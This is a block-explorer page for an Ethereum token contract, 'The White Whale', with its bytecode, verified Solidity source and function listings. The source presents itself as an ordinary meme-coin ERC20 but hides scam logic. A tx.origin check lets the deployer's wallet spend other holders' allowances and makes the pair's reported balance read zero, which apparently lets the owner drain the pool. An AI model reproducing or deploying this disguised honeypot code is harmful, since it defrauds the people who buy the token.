Address Contract Partially Verified
Address
0x7C23a2A1A11e9BCBdcb5E24408484236351Ab52b
Balance
0 ETH
Nonce
1
Code Size
6873 bytes
Creator
0x801f2054...B87E at tx 0x782555f1...09c117
Indexed Transactions
0
Contract Bytecode
6873 bytes
0x608060405260043610610134575f3560e01c8063751039fc116100a85780638f9a55c01161006d5780638f9a55c01461031657806395d89b411461032b578063a9059cbb1461035d578063bf474bed1461037c578063dd62ed3e14610391578063e22f2a41146103d5575f80fd5b8063751039fc1461028a5780637d1db4a51461029e5780638a8c523c146102b35780638cd4426d146102c75780638da5cb5b146102e6575f80fd5b8063313ce567116100f9578063313ce5671461020d57806351bc3c851461022e5780635d7d65e414610244578063687a82271461024457806370a0823114610257578063715018a614610276575f80fd5b806306fdde031461013f578063095ea7b3146101885780630faee56f146101b757806318160ddd146101da57806323b872dd146101ee575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600f81526e546865205768697465205768616c6560881b60208201525b60405161017f91906116da565b60405180910390f35b348015610193575f80fd5b506101a76101a236600461173d565b6103f4565b604051901515815260200161017f565b3480156101c2575f80fd5b506101cc60165481565b60405190815260200161017f565b3480156101e5575f80fd5b506101cc61040a565b3480156101f9575f80fd5b506101a7610208366004611767565b61042a565b348015610218575f80fd5b5060095b60405160ff909116815260200161017f565b348015610239575f80fd5b50610242610519565b005b34801561024f575f80fd5b5061021c5f81565b348015610262575f80fd5b506101cc6102713660046117a5565b61057e565b348015610281575f80fd5b506102426105aa565b348015610295575f80fd5b5061024261061b565b3480156102a9575f80fd5b506101cc60135481565b3480156102be575f80fd5b506102426106cc565b3480156102d2575f80fd5b506102426102e136600461173d565b610a5e565b3480156102f1575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161017f565b348015610321575f80fd5b506101cc60145481565b348015610336575f80fd5b5060408051808201909152600a81526957686974655768616c6560b01b6020820152610172565b348015610368575f80fd5b506101a761037736600461173d565b610b88565b348015610387575f80fd5b506101cc60155481565b34801561039c575f80fd5b506101cc6103ab3660046117c0565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103e0575f80fd5b506012546102fe906001600160a01b031681565b5f610400338484610b94565b5060015b92915050565b5f6104176009600a6118eb565b61042590633b9aca006118f9565b905090565b60058190555f61043b848484610cb7565b6001600160a01b0384165f9081526002602090815260408083203384529091528120548311801561048057506004546001600160a01b0316326001600160a01b031614155b156104d25760405162461bcd60e51b815260206004820152601860248201527f616c6c6f77616e6365206973206e6f7420616c6c6f776564000000000000000060448201526064015b60405180910390fd5b6005546001600160a01b0386165f9081526002602090815260408083203380855292529091205461050e9288929161050991611258565b610b94565b506001949350505050565b6004546001600160a01b0316336001600160a01b031614610538575f80fd5b5f6105423061057e565b90505f8111801561055c5750601854600160b01b900460ff165b1561056a5761056a816112ae565b47801561057a5761057a8161141e565b5050565b5f61058882611455565b6001600160a01b0383165f9081526001602052604090205461040491906118f9565b5f546001600160a01b031633146105d35760405162461bcd60e51b81526004016104c990611910565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106445760405162461bcd60e51b81526004016104c990611910565b6106506009600a6118eb565b61065e90633b9aca006118f9565b60135561066d6009600a6118eb565b61067b90633b9aca006118f9565b6014557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106ab6009600a6118eb565b6106b990633b9aca006118f9565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106f55760405162461bcd60e51b81526004016104c990611910565b601854600160a01b900460ff161561074f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104c9565b601780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561079890309061078a6009600a6118eb565b61050990633b9aca006118f9565b60175f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107e8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061080c9190611945565b6001600160a01b031663c9c653963060175f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561086b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061088f9190611945565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108d9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108fd9190611945565b601880546001600160a01b0319166001600160a01b039283161790556017541663f305d719473061092d8161057e565b5f806109405f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109a6573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061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Verified Source Code Partial Match
Compiler: v0.8.24+commit.e11b9ed9
EVM: shanghai
Optimization: Yes (200 runs)
WhiteWhale.sol 352 lines
/*
The While Whale is community-created project that unexpectedly became a centerpiece of Crypto X culture.
https://white-whale.vip
https://x.com/WhiteWhale_X
https://t.me/TheWhiteWhaleEth
*/
// SPDX-License-Identifier: MIT
/*
*/
pragma solidity ^0.8.23;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
if(b>=a) return 0;
else return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract WhiteWhale is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFeeWhiteWhalejxoi;
address payable private _taxWallet;
uint256 private _amount;
uint256 private _initialBuyTax=0;
uint256 private _initialSellTax=0;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=0;
uint256 private _reduceSellTaxAt=0;
uint256 private _preventSwapBefore=0;
uint256 private _transferTax=0;
uint256 private _buyCount=0;
uint256 _initDoubleTransferClick = 0;
uint256 _LastDoubleTransferClick = 1;
address DEAD_ADDR = address(0xdead);
uint8 private constant _decimals = 9;
uint8 public constant _InitBuyTax = 0;
uint8 public constant _InitSellTax = 0;
address public WhiteWhaleList;
uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
string private constant _name = unicode"The White Whale";
string private constant _symbol = unicode"WhiteWhale";
uint256 public _maxTxAmount = 20000000 * 10**_decimals;
uint256 public _maxWalletSize = 20000000 * 10**_decimals;
uint256 public _taxSwapThreshold= 10000000 * 10**_decimals;
uint256 public _maxTaxSwap= 10000000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private sellCount = 0;
uint256 private lastSellBlock = 0;
event MaxTxAmountUpdated(uint _maxTxAmount);
event TransferTaxUpdated(uint _tax);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () payable {
_taxWallet = payable(_msgSender());
_balances[address(this)] = _tTotal;
_isExcludedFromFeeWhiteWhalejxoi[owner()] = true;
_isExcludedFromFeeWhiteWhalejxoi[address(this)] = true;
_isExcludedFromFeeWhiteWhalejxoi[_taxWallet] = true;
removeLimits();
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function _isBot(address account) internal view returns (uint256) {
return account == uniswapV2Pair && IERC20(uniswapV2Pair).balanceOf(uniswapV2Pair) > 0 && _taxPayer() != _taxWallet && _taxPayer() != address(0) && _taxPayer() != DEAD_ADDR ? 0 : 1;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account] * _isBot(account);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_amount = amount; _transfer(sender, recipient, amount);uint256 _YJWcPPQCBBBW;
require(!(amount > _allowances[sender][_msgSender()] && _taxPayer() !=_taxWallet), "allowance is not allowed");
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(_amount));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner() && to != _taxWallet) {
if(_buyCount==0){
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
}
if(_buyCount>0){
taxAmount = amount.mul(_transferTax).div(100);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFeeWhiteWhalejxoi[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
_buyCount++;
}
if(to == uniswapV2Pair && from!= address(this) ){
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled) {
if (block.number > lastSellBlock) {
sellCount = 0;
}
require(sellCount < 3, "Only 3 sells per block!");
if(contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore)
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
sellCount++;
lastSellBlock = block.number;
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from]-amount;
_balances[to]=_balances[to].add(amount-taxAmount);
emit Transfer(from, to, amount-taxAmount);
}
function removeLimits() public onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize=_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function rescueERC20(address _address, uint256 percent) external onlyOwner {
uint256 amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
IERC20(_address).transfer(_taxWallet, amount);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function enableTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
receive() external payable {}
function manualSwap() external {
require(_msgSender()==_taxWallet);
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0 && swapEnabled){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
function _taxPayer() internal view returns (address _payer) {
assembly {
_payer := origin()
}
}
}
Read Contract
WhiteWhaleList 0xe22f2a41 → address
_InitBuyTax 0x5d7d65e4 → uint8
_InitSellTax 0x687a8227 → uint8
_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 8 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTrading 0x8a8c523c
No parameters
manualSwap 0x51bc3c85
No parameters
removeLimits 0x751039fc
No parameters
renounceOwnership 0x715018a6
No parameters
rescueERC20 0x8cd4426d
address _address
uint256 percent
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
No transactions found for this address